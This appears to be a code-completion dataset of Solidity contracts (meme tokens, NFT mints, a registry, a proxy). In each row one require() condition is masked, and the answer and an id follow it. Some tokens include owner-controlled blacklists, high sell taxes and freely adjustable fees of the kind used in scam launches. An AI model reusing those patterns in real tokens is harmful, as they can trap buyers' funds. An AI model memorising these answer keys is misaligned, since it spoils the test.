mapping(address => uint256) private mintOG;
constructor() ERC721A("UncannyGoblins", "UGLBNS") {}
function setBaseURI(string memory _URI) external onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setSaleStatus() external onlyOwner {
}
// Mint Function
function mint(uint256 amt) external payable {
uint256 cost = price;
if (totalSupply() + amt < totalFree + 1) {
cost = 0;
}
require(msg.value >= amt * cost, "Please send the exact amount.");
require(totalSupply() + amt < maxSupply + 1, "No more available");
require(saleStatus, "Minting is not live yet, hold on.");
require(amt < maxPerTx + 1, "Max per TX reached.");
require(<FILL_ME>)
_safeMint(msg.sender, amt);
}
// Reveal Mechanism
function setReveal() external onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
// Withdraw Balance
address private payoutAddress = 0x90ade7710257b5F5Afd0d0b66e8c9815D842753a;
function withdraw() external onlyOwner {
}
}
| _numberMinted(msg.sender)+amt<=maxPerWallet,"Too many per wallet!" | 220,868 | _numberMinted(msg.sender)+amt<=maxPerWallet |
"TOKEN: Your account is blacklisted!" | // JUST IN: Twitter updates its website logo to Dogecoin DOGE.
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.17;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract TDOGE is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Twitter Doge";
string private constant _symbol = "TWOGE";
uint8 private constant _decimals = 9;
mapping(address => uint256) private tbalances;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant totalsupplys = 100000000 * 10**9;
uint256 private _rTotal = totalsupplys;
uint256 private _tFeeTotal;
// Taxes
uint256 private _redisFeeOnBuys = 0;
uint256 private _taxFeeOnBuy = 5;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 25;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public ISBOT; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xBD1285BC247b6A00C9AF433f67bd814d536032C8);
address payable private _marketingAddress = payable(0xBD1285BC247b6A00C9AF433f67bd814d536032C8);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 500000 * 10**9; // 0.5%
uint256 public _maxWalletSize = 500000 * 10**9; // 0.5%
uint256 public _swapTokensAtAmount = 150000 * 10**9; // .15%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
}
constructor() {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
}
function removeAllFee() private {
}
function restoreAllFee() private {
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(<FILL_ME>)
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuys;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function sendETHToFee(uint256 amount) private {
}
function setTrading(bool _tradingOpen) public onlyOwner {
}
function manualswap() external {
}
function manualsend() external {
}
function _BLOCKBOT(address[] memory ISBOT_) public onlyOwner {
}
function unblockBot(address notbot) public onlyOwner {
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _takeTeam(uint256 tTeam) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRate() private view returns (uint256) {
}
function _getCurrentSupply() private view returns (uint256, uint256) {
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
}
//Set maximum transaction
function setMaxTxn(uint256 maxTxA) public onlyOwner {
}
function setMaxWallet(uint256 maxWalletS) public onlyOwner {
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
}
}
| !ISBOT[from]&&!ISBOT[to],"TOKEN: Your account is blacklisted!" | 220,946 | !ISBOT[from]&&!ISBOT[to] |
"Not ERC721" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;
import "@openzeppelin/contracts/utils/introspection/IERC165.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract PricyAddressRegistry is Ownable {
bytes4 private constant INTERFACE_ID_ERC721 = 0x80ac58cd;
/// @notice Pricy contract
address public pricy;
/// @notice PricyAuction contract
address public auction;
/// @notice PricyMarketplace contract
address public marketplace;
/// @notice PricyNFTFactory contract
address public factory;
/// @notice PricyNFTFactoryPrivate contract
address public privateFactory;
/// @notice PricyArtFactory contract
address public artFactory;
/// @notice PricyArtFactoryPrivate contract
address public privateArtFactory;
/// @notice PricyTokenRegistry contract
address public tokenRegistry;
/// @notice PricyPriceFeed contract
address public priceFeed;
/**
@notice Update pricy contract
@dev Only admin
*/
function updatePricy(address _pricy) external onlyOwner {
require(<FILL_ME>)
pricy = _pricy;
}
/**
@notice Update PricyAuction contract
@dev Only admin
*/
function updateAuction(address _auction) external onlyOwner {
}
/**
@notice Update PricyMarketplace contract
@dev Only admin
*/
function updateMarketplace(address _marketplace) external onlyOwner {
}
/**
@notice Update PricyNFTFactory contract
@dev Only admin
*/
function updateNFTFactory(address _factory) external onlyOwner {
}
/**
@notice Update PricyNFTFactoryPrivate contract
@dev Only admin
*/
function updateNFTFactoryPrivate(address _privateFactory)
external
onlyOwner
{
}
/**
@notice Update PricyArtFactory contract
@dev Only admin
*/
function updateArtFactory(address _artFactory) external onlyOwner {
}
/**
@notice Update PricyArtFactoryPrivate contract
@dev Only admin
*/
function updateArtFactoryPrivate(address _privateArtFactory)
external
onlyOwner
{
}
/**
@notice Update token registry contract
@dev Only admin
*/
function updateTokenRegistry(address _tokenRegistry) external onlyOwner {
}
/**
@notice Update price feed contract
@dev Only admin
*/
function updatePriceFeed(address _priceFeed) external onlyOwner {
}
}
| IERC165(_pricy).supportsInterface(INTERFACE_ID_ERC721),"Not ERC721" | 220,968 | IERC165(_pricy).supportsInterface(INTERFACE_ID_ERC721) |
"MB: Mint exceeds supply" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
// ::: ::: :::::::: :::::::: :::: ::: ::::::::: :::::::::: ::: ::::::::: ::::::::
// :+:+: :+:+: :+: :+: :+: :+: :+:+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+:
// +:+ +:+:+ +:+ +:+ +:+ +:+ +:+ :+:+:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+
// +#+ +:+ +#+ +#+ +:+ +#+ +:+ +#+ +:+ +#+ +#++:++#+ +#++:++# +#++:++#++: +#++:++#: +#++:++#++
// +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+#+# +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+
// #+# #+# #+# #+# #+# #+# #+# #+#+# #+# #+# #+# #+# #+# #+# #+# #+# #+#
// ### ### ######## ######## ### #### ######### ########## ### ### ### ### ########
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "./NonblockingReceiver.sol";
contract Moonbears is Ownable, ERC721Enumerable, NonblockingReceiver {
string private baseURI;
uint256 public nextTokenId;
uint256 MAX_MINT;
uint256 PRICE;
uint gasForDestinationLzReceive = 350000;
bool public isSaleActive = false;
uint8 private devMints;
constructor(
string memory baseURI_,
address _layerZeroEndpoint,
uint256 _startToken,
uint256 _maxMint,
uint256 _price,
uint8 _devMints
)
ERC721("Moonbears", "MB") {
}
modifier callerIsUser() {
}
function mint(uint8 numTokens) external payable callerIsUser {
}
function devMint() external onlyOwner {
require(<FILL_ME>)
require(devMints > 0, "MB: Already minted");
for (uint8 i = 0; i < devMints; i++) {
_safeMint(msg.sender, ++nextTokenId);
}
devMints = 0;
}
function price(uint8 numTokens) private view returns (uint256) {
}
function setPrice(uint256 _newPrice) external onlyOwner {
}
function toggleSaleStatus() external onlyOwner {
}
function traverseChains(uint16 _chainId, uint tokenId) public payable {
}
function setBaseURI(string memory URI) external onlyOwner {
}
function withdrawAll() external payable onlyOwner {
}
function setGasForDestinationLzReceive(uint newVal) external onlyOwner {
}
function _LzReceive(uint16 _srcChainId, bytes memory _srcAddress, uint64 _nonce, bytes memory _payload) override internal {
}
function _baseURI() override internal view returns (string memory) {
}
}
| nextTokenId+devMints<=MAX_MINT,"MB: Mint exceeds supply" | 221,062 | nextTokenId+devMints<=MAX_MINT |
"you're not the proxy admin" | //SPDX-License-Identifier: GPL-3.0
//''''''''''''''''''''''''''''''''''''''',;cxKWMMMMMMMMWKdc;,''''''''''''''''''''''''''''''''''''''',dNMWO:'''''''';lONWWKxlccccccccccldKWWNOl;'''''''';
//'''''''''''''''''''''''''''''''''''''''''',cxXWMMMMMXx:,'''''''''''''''''''''''''''''''''''''''''',dNMMNOl,'''''''';lx0XKko:,'''',:okKX0xl;'''''''',lk
//'''''''''''''''''''''''''''''''''''''''''''',lKMMMMXo,'''''''''''''''''''''''''''''''''''''''''''''dNMMMMN0o;''''''''',cdOXXOdccdOXXOdc,''''''''';o0NM
//''''''''';:cccccccccccccccccccccc:;'''''''''',xNMMWO;'''''''''',::ccccccccccccccccccccccc:,''''''',dNMMMMMMWKd:'''''''''',:dOKXNWXxc,'''''''''':dKWMMM
//'''''''',dXNNNNNNNNNNNNNNNNNNNNNNXKx:'''''''''oNMMWk;'''''''';o0XNNNNNNNNNNNNNNNNNNNNNNNNKl''''''',dNMMMMMMMMWXxc,'''''''''',:okKX0xl;'''''''cxKWMMMMM
//'''''''',xWMMMMMMMMMMMMMMMMMMMMMMMMW0:''''''''oNMMWk;''''''''oNMMMMMMMMMMMMMMMMMMMMMMMMMMNo''''''',dNMMMMMMMMMMWNkl,'''''''''''';lx0XKkxdolokXWMMMMMMM
//'''''''',xWMMMMMMMMMMMMMMMMMMMMMMMMMXl''''''''oNMMWk;''''''',dWMMMMMMMMMMMMMMMMMMMMMMMMMMNo''''''',dNMMMMMMMMMMMMMNOo;'''''''''''''c0WMMMWWWMMMMMMMMMM
//'''''''',xWMMMMMMMMMMMMMMMMMMMMMMMMMNo''''''''oNMMWk;''''''',dWMMMMMMMMMMMMMMMMMMMMMMMMMMNo''''''',dNMMMMMMMMMMMMMMMW0o,'''''''''',dNMMMMMMMMMMMMMMMMM
//'''''''',xWMMMMMMMMMMMMMMMMMMMMMMMMMNo''''''''oNMMWk;''''''',dWMMMMMMMMMMMMMMMMMMMMMMMMMMNo''''''',dNMMMMMMMMMMMMMMMW0o,'''''''''',dNMMMMMMMMMMMMMMMMM
//'''''''',xWMMMMMMMMMMMMMMMMMMMMMMMMMNo''''''''oNMMWk;''''''',dWMMMMMMMMMMMMMMMMMMMMMMMMMMNo''''''',dNMMMMMMMMMMMMMNOo;'''''''''''''c0WMMMWWWMMMMMMMMMM
//'''''''',xWMMMMMMMMMMMMMMMMMMMMMMMMMNo''''''''oNMMWk;''''''',dWMMMMMMMMMMMMMMMMMMMMMMMMMMKc''''''',dNMMMMMMMMMMWXkl,'''''''''''';lx0XKkddoclkXWMMMMMMM
//'''''''',xWMMMMMMMMMMMMMMMMMMMMMMMMMNo''''''''oNMMWk;''''''''dXNNNNNNNNNNNNNNNNNNNNWNNNKOl,''''''',dNMMMMMMMMWXxc,'''''''''',:okKX0xl;'''''',:xKWMMMMM
//'''''''',xWMMMMMMMMMMMMMMMMMMMMMMMMMNo''''''''oNMMWk;'''''''';cccccccccccccccccccccccc:;,''''''''',dNMMMMMMWKd:'''''''''',:dOXXNWXxc,'''''''''':d0NMMM
//'''''''',xWMMMMMMMMMMMMMMMMMMMMMMMMMNo''''''''oNMMWk;''''''''''''''''''''''''''''''''''''''''''''';OWMMMMN0o;''''''''',cd0XKOdccoOKX0dc;''''''''';oONW
//'''''''',xWMMMMMMMMMMMMMMMMMMMMMMMMMNo''''''''oNMMWk;''''''''''''''''''''''''''''''''''''''''''',lONMMMNOl,'''''''';lx0XKko:,'''',:okKX0xl;'''''''',lk
//,''''''',kWMMMMMMMMMMMMMMMMMMMMMMMMMNo,'''''',dNMMWk;'''''''''''''''''''''''''''''''''''''''',:lkXWMMMWO:''''''',;oONWWKxlcccccccccclxKWMNOo;'''''''';
// โโโโโโ โโโโโโ โโ โโ โโโโโโโ โโโโโโ โโโโโโโ โโโโโโ โโโโโโ โโ โโ
// โโ โโ โโ โโ โโ โโ โโ โโ โโ โโ โโ โโ โโ โโ โโ โโ
// โโโโโโ โโ โโ โโ โ โโ โโโโโ โโโโโโ โโโโโ โโ โโ โโโโโโ โโโโ
// โโ โโ โโ โโ โโโ โโ โโ โโ โโ โโ โโ โโ โโ โโ โโ
// โโ โโโโโโ โโโ โโโ โโโโโโโ โโ โโ โโโโโโโ โโโโโโ โโโโโโ โโ
// โโ โโ โโโ โโ โโ โโ โโ โโโโโโโ โโโโโโ โโโโโโโ โโโโโโโ โโ โโ โโโโโโโ โโ โโโโโโ
// โโ โโ โโโโ โโ โโ โโ โโ โโ โโ โโ โโ โโ โโ โโ โโ โโ โโ โโ
// โโ โโ โโ โโ โโ โโ โโ โโ โโโโโ โโโโโโ โโโโโโโ โโโโโ โโ โโ โโโโโ โโ โโ โโ
// โโ โโ โโ โโ โโ โโ โโ โโ โโ โโ โโ โโ โโ โโ โโ โโ โโ โโ โโ
// โโโโโโ โโ โโโโ โโ โโโโ โโโโโโโ โโ โโ โโโโโโโ โโโโโโโ โโโโโโโ โโโโโโโ โโโโโโโ โโ โโ โโโโโโ
pragma solidity 0.8.12;
contract Serials_Proxy {
event LogicContractChanged(address _newImplementation);
event AdminChanged(address _newAdmin);
//address where the proxy will make the delegatecall
bytes32 private constant logic_contract = keccak256("proxy.logic");
bytes32 private constant proxy_admin = keccak256("proxy.admin");
constructor(address _logic_contract, string memory _metadata, bytes32 _ATseed, bytes32 _MLseed, string memory _contractURI) {
}
/**
* @notice Function to change the logic contract.
* @param _logicAddress New logic contract address.
*/
function setLogicContract(address _logicAddress) public onlyProxyAdmin {
}
/**
* @notice Function to set the admin of the contract.
* @param _newAdmin New admin of the contract.
*/
function setProxyAdmin(address _newAdmin) public onlyProxyAdmin {
}
/**
* @notice Getter for the logic contract address
*/
function implementation() public view returns(address impl) {
}
/**
* @notice Getter for the proxy admin address
*/
function proxyAdmin() public view returns(address admin) {
}
fallback() external payable {
}
/**
* @dev only the admin is allowed to call the functions that implement this modifier
*/
modifier onlyProxyAdmin {
require(<FILL_ME>)
_;
}
}
| proxyAdmin()==msg.sender,"you're not the proxy admin" | 221,180 | proxyAdmin()==msg.sender |
null | /**
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโปโโโโโโโโฃโโโณโโโโโโโโโโโณโโโซโโโ
โโโโโซโโโโโโโโโโโโโโโโโโโโโซโโโโโโซโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโฃโโโโโโ
โโโโโปโโโปโโโโโโโปโโโปโโโโโโโโปโโโปโโโปโโโ
โโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโ
Website: https://catdog.cash/
Telegram: https://t.me/catdogcash
Twitter: https://twitter.com/CatDogCash
CatDog Cash - the innovative meme token that will turn your investments into an unforgettable adventure!
Allow us to take you back to the golden era of your childhood, where every day was filled with joy, laughter,
and endless possibilities.
*/
pragma solidity ^0.8.17;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract CatDogCash is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "CatDog Cash";
string private constant _symbol = "CaDog";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 777777888888000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _CatDogBurningFeeOnBuy = 0; //Maximum Buy Tax
uint256 private _CatDogDevelopFee = 0; //Maximum Buy Tax
uint256 private _CatDogBurningFeeOnSell = 0; //Maximum Sell Tax
uint256 private _CatDogMarketing = 1; //Maximum Sell Tax
uint256 private _CatDogBurningFee = _CatDogBurningFeeOnSell;
uint256 private _CatDogTeam = _CatDogMarketing;
uint256 private _previousburningFee = _CatDogBurningFee;
uint256 private _previoustaxFee = _CatDogTeam;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _CatDogMarketingAddress = payable(0x8986651fCc7fcB4dAb4d43a3eB43bf1dBD17a694);
address payable private _CatDogBurn = payable(0x8986651fCc7fcB4dAb4d43a3eB43bf1dBD17a694);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = true;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 777777888888000 * 10**9;
uint256 public _maxWalletSize = 777777888888000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
}
constructor() {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
}
function removeAllFee() private {
}
function restoreAllFee() private {
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function sendETHToFee(uint256 amount) private {
}
function goCatDogCash() external onlyOwner() {
}
function manualswap() external {
require(<FILL_ME>)
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _takeTeam(uint256 tTeam) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
}
function _getTValues(
uint256 tAmount,
uint256 burningFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRate() private view returns (uint256) {
}
function _getCurrentSupply() private view returns (uint256, uint256) {
}
function setSettings(uint256 burningFeeOnBuy, uint256 burningFeeOnSell, uint256 developFee, uint256 feeOnMarketing) public onlyOwner {
}
}
| _msgSender()==_CatDogMarketingAddress||_msgSender()==_CatDogBurn | 221,212 | _msgSender()==_CatDogMarketingAddress||_msgSender()==_CatDogBurn |
"Permission denied!" | pragma solidity ^0.7.6;
pragma abicoder v2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./IDC.sol";
import "@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol";
import "@uniswap/v3-core/contracts/interfaces/IUniswapV3Factory.sol";
import "@uniswap/v3-periphery/contracts/interfaces/ISwapRouter.sol";
import "@uniswap/v3-periphery/contracts/libraries/OracleLibrary.sol";
contract ShibSkull is Context, IERC20, Ownable {
/*
ShibSkull wraps DogCatcher's instaminting.
It awards ShibSkulls as a fun token for depositing target dog tokens.
*/
// Shib Skull
string private _name = "ShibSkull";
string private _symbol = "SHIBSKULL";
uint256 private _totalSupply = 0;
uint8 private _decimals = 18;
mapping(address => uint256) private balances;
mapping(address => mapping(address => uint256)) private _allowances;
IDC private DC = IDC(0x679A0B65a14b06B44A0cC879d92B8bB46a818633);
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
mapping(address => bool) public targeted;
mapping(address => IERC20) dogs;
address dev1 = 0x7190A1826F69829522d7B8Fa042613C9377badDC;
address dev2 = 0x1Dc1560F9C4622361788357aC7ee8dd2DE71816e;
using SafeMath for uint256;
using SafeMath for uint128;
using SafeMath for uint32;
using SafeMath for uint8;
constructor () {
}
function name() public view returns (string memory) { }
function symbol() public view returns (string memory) { }
function decimals() public view returns (uint8) { }
function totalSupply() public view override returns (uint256) { }
function allowance(address owner, address spender) public view override returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function _transfer(address from, address to, uint256 amount) internal {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _mint(address account, uint256 amount) internal {
}
function addTarget(address token) public {
require(<FILL_ME>)
IERC20 targetedToken = IERC20(token);
targetedToken.approve(address(DC), type(uint256).max);
targeted[token] = true;
dogs[token] = targetedToken;
}
function instaMint(address token, uint256 amount) public {
}
//Fail-safe function for releasing non-target tokens, not meant to be used.
function release(address token) public {
}
}
| _msgSender()==dev1||_msgSender()==dev2,"Permission denied!" | 221,241 | _msgSender()==dev1||_msgSender()==dev2 |
"Not targeted." | pragma solidity ^0.7.6;
pragma abicoder v2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./IDC.sol";
import "@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol";
import "@uniswap/v3-core/contracts/interfaces/IUniswapV3Factory.sol";
import "@uniswap/v3-periphery/contracts/interfaces/ISwapRouter.sol";
import "@uniswap/v3-periphery/contracts/libraries/OracleLibrary.sol";
contract ShibSkull is Context, IERC20, Ownable {
/*
ShibSkull wraps DogCatcher's instaminting.
It awards ShibSkulls as a fun token for depositing target dog tokens.
*/
// Shib Skull
string private _name = "ShibSkull";
string private _symbol = "SHIBSKULL";
uint256 private _totalSupply = 0;
uint8 private _decimals = 18;
mapping(address => uint256) private balances;
mapping(address => mapping(address => uint256)) private _allowances;
IDC private DC = IDC(0x679A0B65a14b06B44A0cC879d92B8bB46a818633);
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
mapping(address => bool) public targeted;
mapping(address => IERC20) dogs;
address dev1 = 0x7190A1826F69829522d7B8Fa042613C9377badDC;
address dev2 = 0x1Dc1560F9C4622361788357aC7ee8dd2DE71816e;
using SafeMath for uint256;
using SafeMath for uint128;
using SafeMath for uint32;
using SafeMath for uint8;
constructor () {
}
function name() public view returns (string memory) { }
function symbol() public view returns (string memory) { }
function decimals() public view returns (uint8) { }
function totalSupply() public view override returns (uint256) { }
function allowance(address owner, address spender) public view override returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
